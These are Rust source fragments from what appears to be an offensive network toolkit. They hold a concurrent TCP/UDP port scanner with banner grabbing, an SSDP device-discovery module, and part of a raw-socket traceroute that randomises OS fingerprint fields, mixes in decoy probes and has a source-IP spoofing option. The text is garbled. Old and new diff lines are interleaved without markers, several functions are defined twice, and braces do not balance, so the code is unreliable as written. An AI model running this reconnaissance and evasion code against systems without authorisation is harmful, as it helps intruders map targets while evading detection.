let permit = semaphore.clone().acquire_owned().await?;
let target = target.clone();
let mut file = file.try_clone()?;
let file = file.clone();
let stats = stats.clone();
let progress = progress.clone();
let ip = resolved_ip;
let ip_str = resolved_ip_str.clone();
let port = *port;
let handle = tokio::spawn(async move {
let _permit = permit;
if let Some(status) = scan_udp(&target, port, timeout_secs).await {
let line = format!("[UDP] {}:{} => {}", target, port, status);
if status == "OPEN" || !show_only_open {
writeln!(file, "{}", line).ok();
if verbose {
let result = scan_udp(&ip, port, timeout_secs).await;
let mut stats_guard = stats.lock().unwrap();
let mut progress_guard = progress.lock().unwrap();
if let Some(status) = result {
match status.as_str() {
"OPEN" => {
stats_guard.udp_open += 1;
let service_name = get_service_name(port);
let line = format!("[UDP] {}:{} ({}) => {}", ip_str, port, service_name, status.green());
if !show_only_open {
let _ = writeln!(file.lock().unwrap(), "{}", line);
}
let _ = writeln!(file.lock().unwrap(), "{}", line);
println!("{}", line);
}
"CLOSED" => stats_guard.udp_closed += 1,
"FILTERED" => stats_guard.udp_filtered += 1,
_ => {}
}
}
progress_guard.increment(&start_time);
if progress_guard.should_print() {
progress_guard.print_progress();
}
});
tasks.push(handle);
udp_tasks.push(handle);
}
}
for task in tasks {
// Await all tasks
for task in tcp_tasks {
let _ = task.await;
}
for task in udp_tasks {
let _ = task.await;
}
println!("[*] Scan complete. Results saved to {}", output_file);
let elapsed = start_time.elapsed();
let stats = stats.lock().unwrap();
// Print summary
println!("\n{}", "=== Scan Summary ===".cyan().bold());
println!("{}", format!("Scan duration: {:.2} seconds", elapsed.as_secs_f64()).green());
println!("\n{}", "TCP Ports:".yellow());
println!(" {} Open: {}", "".green(), stats.tcp_open.to_string().green().bold());
println!(" {} Closed: {}", "".red(), stats.tcp_closed);
println!(" {} Filtered/Timeout: {}", "~".yellow(), stats.tcp_filtered);
if scan_udp_enabled {
println!("\n{}", "UDP Ports:".yellow());
println!(" {} Open: {}", "".green(), stats.udp_open.to_string().green().bold());
println!(" {} Closed: {}", "".red(), stats.udp_closed);
println!(" {} Filtered: {}", "~".yellow(), stats.udp_filtered);
}
println!("\n{}", format!("[*] Results saved to {}", output_file).cyan());
// Write summary to file
writeln!(file.lock().unwrap(), "\n=== Scan Summary ===")?;
writeln!(file.lock().unwrap(), "Scan duration: {:.2} seconds", elapsed.as_secs_f64())?;
writeln!(file.lock().unwrap(), "\nTCP Ports:")?;
writeln!(file.lock().unwrap(), " Open: {}", stats.tcp_open)?;
writeln!(file.lock().unwrap(), " Closed: {}", stats.tcp_closed)?;
writeln!(file.lock().unwrap(), " Filtered/Timeout: {}", stats.tcp_filtered)?;
if scan_udp_enabled {
writeln!(file.lock().unwrap(), "\nUDP Ports:")?;
writeln!(file.lock().unwrap(), " Open: {}", stats.udp_open)?;
writeln!(file.lock().unwrap(), " Closed: {}", stats.udp_closed)?;
writeln!(file.lock().unwrap(), " Filtered: {}", stats.udp_filtered)?;
}
Ok(())
}
/// TCP connect scan + banner grab
async fn scan_tcp(ip: &str, port: u16, timeout_secs: u64) -> Option<(String, String)> {
let addr = format!("{}:{}", ip, port);
match timeout(Duration::from_secs(timeout_secs), TcpStream::connect(&addr)).await {
Ok(Ok(stream)) => {
let mut buf = [0; 1024];
match timeout(Duration::from_secs(2), stream.readable()).await {
Ok(Ok(())) => match stream.try_read(&mut buf) {
Ok(n) if n > 0 => {
let banner = String::from_utf8_lossy(&buf[..n]).to_string();
Some(("OPEN".into(), banner))
/// === TCP Port Scanner with Enhanced Banner Grabbing ===
async fn scan_tcp(ip: &std::net::IpAddr, port: u16, timeout_secs: u64) -> Option<(String, String, String)> {
let addr = SocketAddr::new(*ip, port);
match timeout(Duration::from_secs(timeout_secs), TcpStream::connect(addr)).await {
Ok(Ok(mut stream)) => {
// Try service-specific probes for better banner grabbing
let (banner, service) = grab_banner(&mut stream, port).await;
Some(("OPEN".into(), banner, service))
}
Ok(Err(_)) => Some(("CLOSED".into(), "".into(), "".into())),
Err(_) => Some(("TIMEOUT".into(), "".into(), "".into())),
}
}
/// Enhanced banner grabbing with service-specific probes
async fn grab_banner(stream: &mut TcpStream, port: u16) -> (String, String) {
let mut buf = [0u8; 2048];
// Try to read initial banner (works for FTP, SMTP, POP3, etc.)
match timeout(Duration::from_secs(2), stream.read(&mut buf)).await {
Ok(Ok(n)) if n > 0 => {
let banner = String::from_utf8_lossy(&buf[..n]).trim().to_string();
let service = detect_service_from_banner(&banner, port);
return (banner, service);
}
_ => {}
}
// Service-specific probes
match port {
80 | 8080 => {
// HTTP probe
if let Ok(_) = stream.write_all(b"GET / HTTP/1.1\r\nHost: localhost\r\n\r\n").await {
if let Ok(Ok(n)) = timeout(Duration::from_secs(2), stream.read(&mut buf)).await {
if n > 0 {
let response = String::from_utf8_lossy(&buf[..n]);
if let Some(server) = extract_http_server(&response) {
return (response.trim().to_string(), format!("HTTP ({})", server));
}
return (response.trim().to_string(), "HTTP".into());
}
_ => Some(("OPEN".into(), "".into())),
},
_ => Some(("OPEN".into(), "".into())),
}
}
}
Ok(Err(_)) => Some(("CLOSED".into(), "".into())),
Err(_) => Some(("TIMEOUT".into(), "".into())),
443 => {
// HTTPS - can't easily probe without TLS, just return empty
return ("".into(), "HTTPS".into());
}
22 => {
// SSH - read SSH banner
if let Ok(Ok(n)) = timeout(Duration::from_secs(2), stream.read(&mut buf)).await {
if n > 0 {
let banner = String::from_utf8_lossy(&buf[..n]).trim().to_string();
return (banner, "SSH".into());
}
}
}
_ => {
// Try reading again for other services
if let Ok(Ok(n)) = timeout(Duration::from_secs(1), stream.read(&mut buf)).await {
if n > 0 {
let banner = String::from_utf8_lossy(&buf[..n]).trim().to_string();
let service = detect_service_from_banner(&banner, port);
return (banner, service);
}
}
}
}
("".into(), "".into())
}
fn detect_service_from_banner(banner: &str, port: u16) -> String {
let banner_lower = banner.to_lowercase();
if banner_lower.contains("ssh") {
"SSH".into()
} else if banner_lower.contains("ftp") {
"FTP".into()
} else if banner_lower.contains("smtp") {
"SMTP".into()
} else if banner_lower.contains("pop3") {
"POP3".into()
} else if banner_lower.contains("imap") {
"IMAP".into()
} else if banner_lower.contains("http") {
"HTTP".into()
} else if banner_lower.contains("mysql") {
"MySQL".into()
} else {
get_service_name(port).to_string()
}
}
/// UDP scan (null packet, timeout-based)
async fn scan_udp(ip: &str, port: u16, timeout_secs: u64) -> Option<String> {
let local = "0.0.0.0:0".parse::<SocketAddr>().unwrap();
let remote = format!("{}:{}", ip, port);
let remote = match normalize_addr(&remote) {
Ok(addr) => addr,
Err(_) => return None,
fn extract_http_server(response: &str) -> Option<String> {
for line in response.lines() {
if line.to_lowercase().starts_with("server:") {
return Some(line.split(':').nth(1).unwrap_or("").trim().to_string());
}
}
None
}
/// === UDP Port Scanner ===
async fn scan_udp(ip: &std::net::IpAddr, port: u16, timeout_secs: u64) -> Option<String> {
let bind_addr = if ip.is_ipv4() { "0.0.0.0:0" } else { "[::]:0" };
let sock = match UdpSocket::bind(bind_addr).await {
Ok(s) => s,
Err(_) => return Some("ERROR".into()),
};
let socket = UdpSocket::bind(local).await.ok()?;
let _ = socket.send_to(b"\x00", &remote).await;
let target = SocketAddr::new(*ip, port);
let payload = b"\x00\x00\x10\x10";
let _ = sock.send_to(payload, target).await;
let mut buf = [0u8; 512];
match timeout(Duration::from_secs(timeout_secs), socket.recv_from(&mut buf)).await {
Ok(Ok((_n, _))) => Some("OPEN".into()),
_ => None,
match timeout(Duration::from_secs(timeout_secs), sock.recv_from(&mut buf)).await {
Ok(Ok((_len, _src))) => Some("OPEN".into()),
Ok(Err(_)) => Some("CLOSED".into()),
Err(_) => Some("FILTERED".into()),
}
}
/// Normalize IP/hostname for bracket handling and clean input
fn normalize_target(input: &str) -> Result<String> {
let input = input.trim().trim_start_matches('[').trim_end_matches(']').trim();
if input.contains(':') && !input.contains('.') {
// Likely IPv6, re-add brackets
Ok(format!("[{}]", input))
} else {
Ok(input.to_string())
}
}
/// Normalize and parse into a real SocketAddr
fn normalize_addr(input: &str) -> Result<SocketAddr> {
// Remove extra brackets first
/// === Target Resolution ===
fn resolve_target(input: &str) -> Result<(String, std::net::IpAddr)> {
let cleaned = input.trim().trim_start_matches('[').trim_end_matches(']');
// If IPv6, wrap again properly
let formatted = if cleaned.contains(':') && !cleaned.contains('.') {
format!("[{}]", cleaned)
let addrs: Vec<_> = (cleaned, 0).to_socket_addrs()?.collect();
if let Some(addr) = addrs.iter().find(|a| a.is_ipv4()) {
Ok((addr.ip().to_string(), addr.ip()))
} else if let Some(addr) = addrs.first() {
Ok((addr.ip().to_string(), addr.ip()))
} else {
cleaned.to_string()
};
let addrs = formatted.to_socket_addrs()?;
addrs.into_iter().next().ok_or_else(|| anyhow::anyhow!("Invalid address"))
Err(anyhow!("Could not resolve target '{}'", input))
}
}
/// Prompt for string input
/// === Prompt Utilities ===
fn prompt(message: &str) -> Result<String> {
print!("{}", message);
print!("{}", message.cyan().bold());
io::stdout().flush()?;
let mut buf = String::new();
io::stdin().read_line(&mut buf)?;
Ok(buf.trim().to_string())
}
/// Prompt for boolean yes/no
fn prompt_bool(message: &str) -> Result<bool> {
loop {
let input = prompt(message)?;
if input.is_empty() {
return Ok(false);
}
match input.to_lowercase().as_str() {
"y" | "yes" => return Ok(true),
"n" | "no" => return Ok(false),
_ => println!("Please enter 'y' or 'n'."),
_ => println!("{}", "Please enter 'y' or 'n'.".yellow()),
}
}
}
/// Prompt for number input
fn prompt_usize(message: &str) -> Result<usize> {
loop {
let input = prompt(message)?;
if input.is_empty() {
return Err(anyhow!("Input required"));
}
if let Ok(n) = input.parse::<usize>() {
return Ok(n);
}
println!("Please enter a valid number.");
println!("{}", "Please enter a valid number.".yellow());
}
}
/// === Scan Statistics ===
struct ScanStats {
tcp_open: usize,
tcp_closed: usize,
tcp_filtered: usize,
udp_open: usize,
udp_closed: usize,
udp_filtered: usize,
}
impl ScanStats {
fn new() -> Self {
ScanStats {
tcp_open: 0,
tcp_closed: 0,
tcp_filtered: 0,
udp_open: 0,
udp_closed: 0,
udp_filtered: 0,
}
}
}
/// === Progress Tracker ===
struct ProgressTracker {
total: usize,
current: usize,
last_print: usize,
start_time: Option<Instant>,
}
impl ProgressTracker {
fn new(total: usize) -> Self {
ProgressTracker {
total,
current: 0,
last_print: 0,
start_time: None,
}
}
fn increment(&mut self, start_time: &Instant) {
if self.start_time.is_none() {
self.start_time = Some(*start_time);
}
self.current += 1;
}
fn should_print(&self) -> bool {
let diff = self.current - self.last_print;
diff >= 100 || self.current == self.total
}
fn print_progress(&mut self) {
if self.current == 0 {
return;
}
let percentage = (self.current as f64 / self.total as f64) * 100.0;
let elapsed = self.start_time.map(|s| s.elapsed()).unwrap_or_default();
let rate = if elapsed.as_secs() > 0 {
self.current as f64 / elapsed.as_secs() as f64
} else {
0.0
};
let remaining = if rate > 0.0 {
(self.total - self.current) as f64 / rate
} else {
0.0
};
print!("\r{}", format!(
"[*] Progress: {}/{} ({:.1}%) | Rate: {:.0} ports/sec | ETA: {:.0}s",
self.current,
self.total,
percentage,
rate,
remaining
).cyan());
io::stdout().flush().unwrap();
if self.current == self.total {
println!();
}
self.last_print = self.current;
}
}
+268 -35
View File
@@ -1,46 +1,142 @@
use anyhow::{Result};
use anyhow::{Context, Result};
use colored::*;
use regex::Regex;
use std::collections::HashMap;
use std::io::Write;
use std::net::SocketAddr;
use tokio::net::UdpSocket;
use tokio::time::{timeout, Duration};
use tokio::time::{timeout as tokio_timeout, Duration};
/// SSDP Search Target types
#[derive(Clone, Debug)]
enum SearchTarget {
RootDevice,
All,
Custom(String),
}
impl SearchTarget {
fn st_header(&self) -> &str {
match self {
SearchTarget::RootDevice => "upnp:rootdevice",
SearchTarget::All => "ssdp:all",
SearchTarget::Custom(st) => st,
}
}
}
pub async fn run(target: &str) -> Result<()> {
let port = prompt_port().unwrap_or(1900);
let timeout_secs = prompt_timeout().unwrap_or(3);
let retries = prompt_retries().unwrap_or(1);
let verbose = prompt_verbose().unwrap_or(false);
let target = clean_ipv6_brackets(target);
// Validate target format
let _ = normalize_target(&target, port)
.with_context(|| format!("Failed to normalize target '{}'", target))?;
let addr = normalize_target(&target, port)?;
// Determine search targets
let search_targets = prompt_search_targets()?;
println!("[*] Sending SSDP M-SEARCH to {}...", addr);
println!("{}", format!("[*] Sending SSDP M-SEARCH to {}:{}...", target, port).bold());
let local_bind: SocketAddr = "0.0.0.0:0".parse()?;
let socket = UdpSocket::bind(local_bind).await?;
socket.connect(&addr).await?;
let mut found_any = false;
for (idx, st) in search_targets.iter().enumerate() {
if search_targets.len() > 1 {
println!(
"{}",
format!("[*] Trying ST: {} ({}/{})", st.st_header(), idx + 1, search_targets.len())
.cyan()
);
}
for attempt in 1..=retries {
if retries > 1 {
println!(" [*] Attempt {}/{}", attempt, retries);
}
match send_ssdp_request(&target, port, st, Duration::from_secs(timeout_secs), verbose).await {
Ok(Some(response)) => {
found_any = true;
parse_ssdp_response(&response, &target, port, st.st_header());
break; // Success, no need to retry
}
Ok(None) => {
if verbose {
println!(" {} No response received", "[-]".dimmed());
}
}
Err(e) => {
if verbose {
eprintln!(" {} Error: {}", "[!]".yellow(), e);
}
}
}
// Small delay between retries
if attempt < retries {
tokio::time::sleep(Duration::from_millis(500)).await;
}
}
}
if !found_any {
println!("{}", "[-] Target did not respond to any M-SEARCH requests".yellow());
}
Ok(())
}
async fn send_ssdp_request(
target: &str,
port: u16,
st: &SearchTarget,
timeout: Duration,
verbose: bool,
) -> Result<Option<String>> {
let local_bind: SocketAddr = "0.0.0.0:0".parse()
.context("Failed to parse local bind address")?;
let socket = UdpSocket::bind(local_bind).await
.context("Failed to bind UDP socket")?;
let remote_addr: SocketAddr = format!("{}:{}", target, port).parse()
.with_context(|| format!("Failed to parse remote address {}:{}", target, port))?;
socket.connect(&remote_addr).await
.with_context(|| format!("Failed to connect to {}:{}", target, port))?;
let request = format!(
"M-SEARCH * HTTP/1.1\r\n\
HOST: {}:{}\r\n\
MAN: \"ssdp:discover\"\r\n\
MX: 2\r\n\
ST: upnp:rootdevice\r\n\r\n",
target, port
MX: {}\r\n\
ST: {}\r\n\
USER-AGENT: RustSploit/1.0\r\n\r\n",
target,
port,
timeout.as_secs().max(1),
st.st_header()
);
socket.send(request.as_bytes()).await?;
let mut buf = vec![0u8; 2048];
match timeout(Duration::from_secs(3), socket.recv(&mut buf)).await {
Ok(Ok(size)) => {
let response = String::from_utf8_lossy(&buf[..size]);
parse_ssdp_response(&response, &target, port);
}
_ => {
println!("[-] Target did not respond to M-SEARCH request");
}
if verbose {
println!(" [*] Sending request:\n{}", request.dimmed());
}
Ok(())
socket.send(request.as_bytes()).await
.context("Failed to send SSDP request")?;
let mut buf = vec![0u8; 4096]; // Increased buffer size for larger responses
match tokio_timeout(timeout, socket.recv(&mut buf)).await {
Ok(Ok(size)) => {
let response = String::from_utf8_lossy(&buf[..size]).to_string();
Ok(Some(response))
}
Ok(Err(e)) => Err(anyhow::anyhow!("Failed to receive response: {}", e)),
Err(_) => Ok(None), // Timeout
}
}
/// Normalize the target: IPv6 -> [ipv6]:port, IPv4 stays as ipv4:port
@@ -67,9 +163,10 @@ fn clean_ipv6_brackets(ip: &str) -> String {
/// Ask user for port (optional), fallback to 1900 if empty
fn prompt_port() -> Option<u16> {
println!("[*] Enter custom port (default 1900): ");
print!("{}", "[*] Enter custom port (default 1900): ".cyan().bold());
std::io::stdout().flush().ok();
let mut input = String::new();
if let Ok(_) = std::io::stdin().read_line(&mut input) {
if std::io::stdin().read_line(&mut input).is_ok() {
let input = input.trim();
if input.is_empty() {
return None;
@@ -81,11 +178,119 @@ fn prompt_port() -> Option<u16> {
None
}
fn parse_ssdp_response(response: &str, target_ip: &str, port: u16) {
/// Ask user for timeout in seconds
fn prompt_timeout() -> Option<u64> {
print!("{}", "[*] Enter timeout in seconds (default 3): ".cyan().bold());
std::io::stdout().flush().ok();
let mut input = String::new();
if std::io::stdin().read_line(&mut input).is_ok() {
let input = input.trim();
if input.is_empty() {
return None;
}
if let Ok(t) = input.parse::<u64>() {
if t > 0 && t <= 60 {
return Some(t);
}
}
}
None
}
/// Ask user for number of retries
fn prompt_retries() -> Option<u32> {
print!("{}", "[*] Enter number of retries (default 1): ".cyan().bold());
std::io::stdout().flush().ok();
let mut input = String::new();
if std::io::stdin().read_line(&mut input).is_ok() {
let input = input.trim();
if input.is_empty() {
return None;
}
if let Ok(r) = input.parse::<u32>() {
if r > 0 && r <= 10 {
return Some(r);
}
}
}
None
}
/// Ask user for verbose mode
fn prompt_verbose() -> Option<bool> {
print!("{}", "[*] Verbose output? [y/N]: ".cyan().bold());
std::io::stdout().flush().ok();
let mut input = String::new();
if std::io::stdin().read_line(&mut input).is_ok() {
let input = input.trim().to_lowercase();
match input.as_str() {
"y" | "yes" => return Some(true),
"n" | "no" | "" => return Some(false),
_ => {}
}
}
None
}
/// Ask user for search targets
fn prompt_search_targets() -> Result<Vec<SearchTarget>> {
let mut targets = Vec::new();
println!("{}", "[*] Select SSDP Search Targets:".cyan().bold());
println!(" 1. upnp:rootdevice (default)");
println!(" 2. ssdp:all");
println!(" 3. Custom ST");
println!(" 4. All of the above");
print!("{}", "Enter choice [1-4, default 1]: ".cyan().bold());
std::io::stdout().flush().ok();
let mut input = String::new();
std::io::stdin().read_line(&mut input).ok();
match input.trim() {
"1" | "" => {
targets.push(SearchTarget::RootDevice);
}
"2" => {
targets.push(SearchTarget::All);
}
"3" => {
print!("{}", "Enter custom ST: ".cyan().bold());
std::io::stdout().flush().ok();
let mut st_input = String::new();
std::io::stdin().read_line(&mut st_input).ok();
let st = st_input.trim().to_string();
if !st.is_empty() {
targets.push(SearchTarget::Custom(st));
} else {
targets.push(SearchTarget::RootDevice);
}
}
"4" => {
targets.push(SearchTarget::RootDevice);
targets.push(SearchTarget::All);
}
_ => {
targets.push(SearchTarget::RootDevice);
}
}
if targets.is_empty() {
targets.push(SearchTarget::RootDevice);
}
Ok(targets)
}
fn parse_ssdp_response(response: &str, target_ip: &str, port: u16, st: &str) {
let regexps = vec![
("server", r"(?i)Server:\s*(.*?)\r\n"),
("location", r"(?i)Location:\s*(.*?)\r\n"),
("usn", r"(?i)USN:\s*(.*?)\r\n"),
("st", r"(?i)ST:\s*(.*?)\r\n"),
("nt", r"(?i)NT:\s*(.*?)\r\n"),
("cache-control", r"(?i)Cache-Control:\s*(.*?)\r\n"),
("ext", r"(?i)EXT:\s*(.*?)\r\n"),
];
let mut results: HashMap<&str, String> = HashMap::new();
@@ -93,19 +298,47 @@ fn parse_ssdp_response(response: &str, target_ip: &str, port: u16) {
for (key, pattern) in regexps {
if let Ok(re) = Regex::new(pattern) {
if let Some(caps) = re.captures(response) {
results.insert(key, caps.get(1).map(|m| m.as_str()).unwrap_or("").to_string());
let value = caps.get(1)
.map(|m| m.as_str().trim())
.unwrap_or("")
.to_string();
results.insert(key, value);
} else {
results.insert(key, String::from(""));
results.insert(key, String::new());
}
}
}
println!(
"[+] {}:{} | {} | {} | {}",
target_ip,
port,
results.get("server").unwrap_or(&"".to_string()),
results.get("location").unwrap_or(&"".to_string()),
results.get("usn").unwrap_or(&"".to_string())
);
// Check HTTP status
let status_line = response.lines().next().unwrap_or("");
let status_ok = status_line.contains("200") || status_line.contains("HTTP/1.1");
if status_ok {
println!(
"{}",
format!(
"[+] {}:{} | ST: {} | Server: {} | Location: {} | USN: {}",
target_ip,
port,
results.get("st").or(results.get("nt")).unwrap_or(&st.to_string()),
results.get("server").unwrap_or(&String::new()),
results.get("location").unwrap_or(&String::new()),
results.get("usn").unwrap_or(&String::new())
)
.green()
);
// Show additional headers if present
if let Some(cache) = results.get("cache-control") {
if !cache.is_empty() {
println!(" {} Cache-Control: {}", " |".dimmed(), cache.dimmed());
}
}
} else {
println!(
"{}",
format!("[!] {}:{} | Unexpected response: {}", target_ip, port, status_line)
.yellow()
);
}
}
@@ -0,0 +1,444 @@
use pnet_packet::ip::IpNextHeaderProtocols;
use pnet_packet::ipv4::{self, MutableIpv4Packet};
use pnet_packet::icmp::{self, echo_request, echo_reply, IcmpTypes};
use pnet_packet::udp::{self, MutableUdpPacket};
use pnet_packet::tcp::{self, MutableTcpPacket, TcpFlags};
use pnet_packet::Packet;
use pnet_packet::icmp::IcmpPacket;
use std::sync::Arc;
use rand::Rng;
use rand::distr::Alphanumeric;
use std::net::{IpAddr, Ipv4Addr, SocketAddr};
use std::io::{stdin, stdout, Write};
use tokio::time::{Instant, Duration};
use tokio::task;
use socket2::{Domain, Protocol, Socket, Type};
use colored::*;
use anyhow::{Result, Context, bail};
use std::mem::MaybeUninit;
const IPV4_FLAG_DF: u16 = 2;
const USE_RANDOM_OS_SIG: bool = true;
const SPOOF_SRC_IP_CONFIG: Option<&str> = None;
const JITTER_RANGE: (f32, f32) = (0.2, 1.1);
const MAX_TTL: u8 = 30;
const PROBE_COUNT: usize = 3;
const DECOY_PROB: f64 = 0.35;
#[derive(Debug, Clone)]
struct OsSignatureParams {
id: u16,
tos: u8,
df_flag: bool,
}
fn generate_os_signature() -> OsSignatureParams {
let mut rng = rand::rng();
if !USE_RANDOM_OS_SIG {
return OsSignatureParams {
id: rng.random(),
tos: 0,
df_flag: false,
};
}
let sigs = [
OsSignatureParams { id: rng.random_range(0x4000..=0xffff), tos: 0, df_flag: true },
OsSignatureParams { id: rng.random(), tos: 0, df_flag: false },
OsSignatureParams { id: rng.random(), tos: 0, df_flag: true },
OsSignatureParams { id: rng.random(), tos: 0x10, df_flag: false },
];
sigs[rng.random_range(0..sigs.len())].clone()
}
#[derive(Debug, Clone, Copy, PartialEq)]
enum ProbeProtocolType {
Icmp,
Udp,
Tcp,
}
impl ProbeProtocolType {
fn to_ip_next_header_protocol(&self) -> pnet_packet::ip::IpNextHeaderProtocol {
match self {
ProbeProtocolType::Icmp => IpNextHeaderProtocols::Icmp,
ProbeProtocolType::Udp => IpNextHeaderProtocols::Udp,
ProbeProtocolType::Tcp => IpNextHeaderProtocols::Tcp,
}
}
fn to_string_lc(&self) -> String {
match self {
ProbeProtocolType::Icmp => "icmp".to_string(),
ProbeProtocolType::Udp => "udp".to_string(),
ProbeProtocolType::Tcp => "tcp".to_string(),
}
}
}
#[derive(Debug)]
struct ReceivedIcmpInfo {
icmp_type: u8,
description: String,
}
#[derive(Debug)]
struct ProbeSingleResponse {
source_ip: Ipv4Addr,
rtt_ms: f32,
icmp_info: ReceivedIcmpInfo,
probe_protocol_used: String,
}
fn craft_probe_packet(
dst_ip: Ipv4Addr,
current_ttl: u8,
src_ip_override: Option<Ipv4Addr>,
icmp_id_val: u16,
icmp_seq_val: u16,
) -> Result<(Vec<u8>, ProbeProtocolType, OsSignatureParams)> {
const IPV4_HEADER_LEN: usize = 20;
let mut rng = rand::rng();
let sig = generate_os_signature();
let mut protocol_type = ProbeProtocolType::Icmp;
if rng.random_bool(DECOY_PROB) {
protocol_type = if rng.random_bool(0.5) {
ProbeProtocolType::Udp
} else {
ProbeProtocolType::Tcp
};
}
let payload_size = rng.random_range(24..=56);
let payload: Vec<u8> = rng.clone()
.sample_iter(&Alphanumeric)
.take(payload_size)
.map(|c| c as u8)
.collect();
let (transport_header_len, transport_packet_data) = match protocol_type {
ProbeProtocolType::Icmp => {
let mut buf = vec![0u8; 8 + payload.len()];
let mut pkt = echo_request::MutableEchoRequestPacket::new(&mut buf).unwrap();
pkt.set_icmp_type(IcmpTypes::EchoRequest);
pkt.set_icmp_code(echo_request::IcmpCodes::NoCode);
pkt.set_identifier(icmp_id_val);
pkt.set_sequence_number(icmp_seq_val);
pkt.set_payload(&payload);
let view = IcmpPacket::new(pkt.packet()).unwrap();
pkt.set_checksum(icmp::checksum(&view));
(buf.len(), buf)
}
ProbeProtocolType::Udp => {
let mut buf = vec![0u8; 8 + payload.len()];
let mut pkt = MutableUdpPacket::new(&mut buf).unwrap();
pkt.set_source(rng.random_range(33434..=65535));
pkt.set_destination(rng.random_range(33434..=65535));
pkt.set_length((8 + payload.len()) as u16);
pkt.set_payload(&payload);
let src = src_ip_override.unwrap_or(Ipv4Addr::new(0,0,0,0));
pkt.set_checksum(udp::ipv4_checksum(&pkt.to_immutable(), &src, &dst_ip));
(buf.len(), buf)
}
ProbeProtocolType::Tcp => {
let mut buf = vec![0u8; 20 + payload.len()];
let mut pkt = MutableTcpPacket::new(&mut buf).unwrap();
pkt.set_source(rng.random_range(33434..=65535));
pkt.set_destination(rng.random_range(33434..=65535));
pkt.set_sequence(rng.random());
pkt.set_acknowledgement(0);
pkt.set_data_offset(5);
pkt.set_flags(TcpFlags::SYN);
pkt.set_window(rng.random_range(1024..=65535));
pkt.set_urgent_ptr(0);
pkt.set_payload(&payload);
let src = src_ip_override.unwrap_or(Ipv4Addr::new(0,0,0,0));
pkt.set_checksum(tcp::ipv4_checksum(&pkt.to_immutable(), &src, &dst_ip));
(buf.len(), buf)
}
};
let total_len = (IPV4_HEADER_LEN + transport_header_len) as u16;
let mut ip_buf = vec![0u8; total_len as usize];
let src_ip = src_ip_override
.or_else(|| SPOOF_SRC_IP_CONFIG.map(str::parse).transpose().unwrap())
.unwrap_or(Ipv4Addr::new(0,0,0,0));
{
let mut ip = MutableIpv4Packet::new(&mut ip_buf).unwrap();
ip.set_version(4);
ip.set_header_length(5);
ip.set_total_length(total_len);
ip.set_identification(sig.id);
ip.set_ttl(current_ttl);
ip.set_next_level_protocol(protocol_type.to_ip_next_header_protocol());
ip.set_source(src_ip);
ip.set_destination(dst_ip);
ip.set_dscp(sig.tos >> 2);
ip.set_ecn(sig.tos & 0x03);
let mut flags = 0;
if sig.df_flag {
flags |= IPV4_FLAG_DF;
}
ip.set_flags(flags.try_into().unwrap());
ip.set_payload(&transport_packet_data);
ip.set_checksum(ipv4::checksum(&ip.to_immutable()));
}
Ok((ip_buf, protocol_type, sig))
}
async fn send_and_receive_one(
target_final_dst_ip: Ipv4Addr,
probe_packet_bytes: &[u8],
probe_protocol: ProbeProtocolType,
probe_ip_id: u16,
probe_icmp_echo_id: u16,
probe_icmp_echo_seq: u16,
timeout: Duration,
) -> Result<Option<ProbeSingleResponse>> {
let sender_socket = Socket::new(
Domain::IPV4,
Type::RAW,
Some(Protocol::from(libc::IPPROTO_RAW)),
)
.context("Failed to create sender raw socket")?;
sender_socket
.set_header_included_v4(true)
.context("Failed to set IP_HDRINCL on sender socket")?;
let receiver_socket = Arc::new(
Socket::new(Domain::IPV4, Type::RAW, Some(Protocol::ICMPV4))
.context("Failed to create receiver raw socket for ICMP")?,
);
receiver_socket
.set_read_timeout(Some(Duration::from_millis(200)))
.context("Failed to set read timeout on receiver socket")?;
let dst_addr = SocketAddr::new(IpAddr::V4(target_final_dst_ip), 0);
sender_socket
.send_to(probe_packet_bytes, &dst_addr.into())
.context("Failed to send raw IP packet")?;
let start = Instant::now();
loop {
if start.elapsed() >= timeout {
return Ok(None);
}
let sock_clone = receiver_socket.try_clone().expect("Socket clone failed");
let recv = task::spawn_blocking(move || -> Result<Option<(Vec<u8>, SocketAddr)>, std::io::Error> {
let mut buf = [MaybeUninit::<u8>::uninit(); 1500];
match sock_clone.recv_from(&mut buf) {
Ok((len, addr)) => {
let slice = unsafe { std::slice::from_raw_parts(buf.as_ptr() as *const u8, len) };
let sock_addr = addr.as_socket().ok_or_else(|| std::io::Error::new(std::io::ErrorKind::Other, "convert"))?;
Ok(Some((slice.to_vec(), sock_addr)))
}
Err(ref e) if e.kind() == std::io::ErrorKind::WouldBlock || e.kind() == std::io::ErrorKind::TimedOut => Ok(None),
Err(e) => Err(e),
}
})
.await
.context("Blocking task for recv_from failed")?;
if let Some((data, sa)) = recv? {
let rtt = start.elapsed().as_secs_f32() * 1000.0;
let responder = if let IpAddr::V4(ip) = sa.ip() { ip } else { continue; };
if let Some(ip_pkt) = ipv4::Ipv4Packet::new(&data) {
if ip_pkt.get_next_level_protocol() == IpNextHeaderProtocols::Icmp {
if let Some(icmp_pkt) = icmp::IcmpPacket::new(ip_pkt.payload()) {
let icmp_type = icmp_pkt.get_icmp_type();
let _ = icmp_pkt.get_icmp_code();
let mut matched = false;
if icmp_type == IcmpTypes::TimeExceeded || icmp_type == IcmpTypes::DestinationUnreachable {
if let Some(inner) = ipv4::Ipv4Packet::new(icmp_pkt.payload()) {
if inner.get_destination() == target_final_dst_ip && inner.get_identification() == probe_ip_id {
let proto = inner.get_next_level_protocol();
match probe_protocol {
ProbeProtocolType::Icmp => {
if proto == IpNextHeaderProtocols::Icmp {
if let Some(echo_req) = echo_request::EchoRequestPacket::new(inner.payload()) {
if echo_req.get_icmp_type() == IcmpTypes::EchoRequest
&& echo_req.get_identifier() == probe_icmp_echo_id
&& echo_req.get_sequence_number() == probe_icmp_echo_seq
{
matched = true;
}
}
}
}
ProbeProtocolType::Udp | ProbeProtocolType::Tcp => {
if proto == probe_protocol.to_ip_next_header_protocol() {
matched = true;
}
}
}
}
}
} else if icmp_type == IcmpTypes::EchoReply && probe_protocol == ProbeProtocolType::Icmp {
if let Some(reply) = echo_reply::EchoReplyPacket::new(icmp_pkt.packet()) {
if reply.get_identifier() == probe_icmp_echo_id
&& reply.get_sequence_number() == probe_icmp_echo_seq
&& responder == target_final_dst_ip
{
matched = true;
}
}
}
if matched {
let desc = match icmp_type {
IcmpTypes::EchoReply => "echo-reply".to_string(),
IcmpTypes::DestinationUnreachable => "unreachable".to_string(),
IcmpTypes::TimeExceeded => "time-exceeded".to_string(),
_ => format!("type {}", icmp_type.0),
};
return Ok(Some(ProbeSingleResponse {
source_ip: responder,
rtt_ms: rtt,
icmp_info: ReceivedIcmpInfo { icmp_type: icmp_type.0, description: desc },
probe_protocol_used: probe_protocol.to_string_lc(),
}));
}
}
}
}
}
